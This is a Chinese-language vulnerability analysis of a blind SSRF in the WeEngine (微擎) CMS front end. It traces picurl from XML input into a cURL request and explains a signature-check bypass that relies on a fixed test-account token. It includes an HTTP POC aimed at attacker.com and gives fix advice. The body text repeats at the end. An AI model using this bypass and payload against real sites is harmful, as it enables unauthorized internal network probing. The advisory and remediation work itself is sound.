微擎最新版前台某处无回显SSRF漏洞
字数 1162 2025-08-09 19:14:07

微擎最新版前台无回显SSRF漏洞分析与利用

漏洞概述

微擎系统最新版(v2.7.6)前台存在一处无回显SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造特定请求利用该漏洞发起服务器端请求,可能用于内网探测或与其他漏洞结合利用。

影响版本

该漏洞影响范围广泛,从v1.8.2到最新v2.7.6版本均受影响,但不同版本利用方式有所差异。

漏洞分析

漏洞位置

漏洞位于系统安装目录下的api.php文件,具体在analyzeImage函数中:

// api.php 662行
analyzeImage函数直接将$message['picurl']传入ihttp_get函数

ihttp_get函数使用cURL发起请求并设置跟随(跟随重定向),如果能够控制$message['picurl']参数,就能实现任意协议的无回显SSRF。

参数可控性分析

$message参数通过以下路径可控:

  1. start()函数获取POST内容
  2. 进入$this->account->parse函数解析
  3. parse函数中(位于/framework/class/account/account.class.php):
public function parse($message) {
    // ...
    case 'image':
        $packet['url'] = $message['PicUrl'];  // 直接赋值PicUrl
        break;
    // ...
}
  1. 通过xml2array函数解析XML格式内容,官方文档提供了使用案例

漏洞触发条件

v1.8.2版本触发方式

  1. 访问http://target/api.php并满足以下条件:

    • 传入appid=wx570bc396a51b8ff8参数
    • 绕过checkSign()验证
  2. 绕过checkSign()需要提供正确的signature参数:

    • token固定为platformtestaccount
    • timestampnonce可为空
    • 计算signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a

v2.7.6版本触发方式

新版本对测试用户做了特殊判断:

protected function getAccountInfo($uniacid) {
    if ('wx570bc396a51b8ff8' == $this->account['key']) {
        $this->account['key'] = $this->appid;
        $this->openPlatformTestCase(); // 会退出执行
    }
    // ...
}

解决方案:

  1. 不使用测试用户,通过$id获取account信息
  2. Token值存储在ims_core_cache表中,且默认值固定(从/data/db.php获取)
  3. 重新计算signature

漏洞利用POC

v1.8.2版本POC

GET /api.php?appid=wx570bc396a51b8ff8&signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a HTTP/1.1
Host: target
Content-Type: application/xml

<xml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>12345678</CreateTime>
<MsgType><![CDATA[image]]></MsgType>
<picurl><![CDATA[http://attacker.com/ssrf]]></picurl>
</xml>

v2.7.6版本POC

需要获取目标系统的Token值(通常为默认值),重新计算signature后构造请求。

修复建议

  1. 删除测试账户:

    • 进入后台"所有平台"
    • 将测试账户放入回收站
    • 彻底删除
  2. 修改默认Token值

  3. picurl参数进行严格过滤和验证

总结

该漏洞虽然是无回显SSRF,但结合其他漏洞可能造成更大危害。漏洞利用的关键在于:

  1. 理解微擎的消息处理机制
  2. 掌握不同版本的验证绕过方式
  3. 获取或计算正确的signature值

审计过程中发现默认Token值固定是一个关键突破点,这在实际渗透测试中也是常见的安全隐患。

微擎最新版前台无回显SSRF漏洞分析与利用 漏洞概述 微擎系统最新版(v2.7.6)前台存在一处无回显SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造特定请求利用该漏洞发起服务器端请求,可能用于内网探测或与其他漏洞结合利用。 影响版本 该漏洞影响范围广泛,从v1.8.2到最新v2.7.6版本均受影响,但不同版本利用方式有所差异。 漏洞分析 漏洞位置 漏洞位于系统安装目录下的 api.php 文件,具体在 analyzeImage 函数中: ihttp_get 函数使用cURL发起请求并设置跟随(跟随重定向),如果能够控制 $message['picurl'] 参数,就能实现任意协议的无回显SSRF。 参数可控性分析 $message 参数通过以下路径可控: start() 函数获取POST内容 进入 $this->account->parse 函数解析 在 parse 函数中(位于 /framework/class/account/account.class.php ): 通过 xml2array 函数解析XML格式内容,官方文档提供了使用案例 漏洞触发条件 v1.8.2版本触发方式 访问 http://target/api.php 并满足以下条件: 传入 appid=wx570bc396a51b8ff8 参数 绕过 checkSign() 验证 绕过 checkSign() 需要提供正确的 signature 参数: token 固定为 platformtestaccount timestamp 和 nonce 可为空 计算 signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a v2.7.6版本触发方式 新版本对测试用户做了特殊判断: 解决方案: 不使用测试用户,通过 $id 获取account信息 Token值存储在 ims_core_cache 表中,且默认值固定(从 /data/db.php 获取) 重新计算 signature 值 漏洞利用POC v1.8.2版本POC v2.7.6版本POC 需要获取目标系统的Token值(通常为默认值),重新计算signature后构造请求。 修复建议 删除测试账户: 进入后台"所有平台" 将测试账户放入回收站 彻底删除 修改默认Token值 对 picurl 参数进行严格过滤和验证 总结 该漏洞虽然是无回显SSRF,但结合其他漏洞可能造成更大危害。漏洞利用的关键在于: 理解微擎的消息处理机制 掌握不同版本的验证绕过方式 获取或计算正确的signature值 审计过程中发现默认Token值固定是一个关键突破点,这在实际渗透测试中也是常见的安全隐患。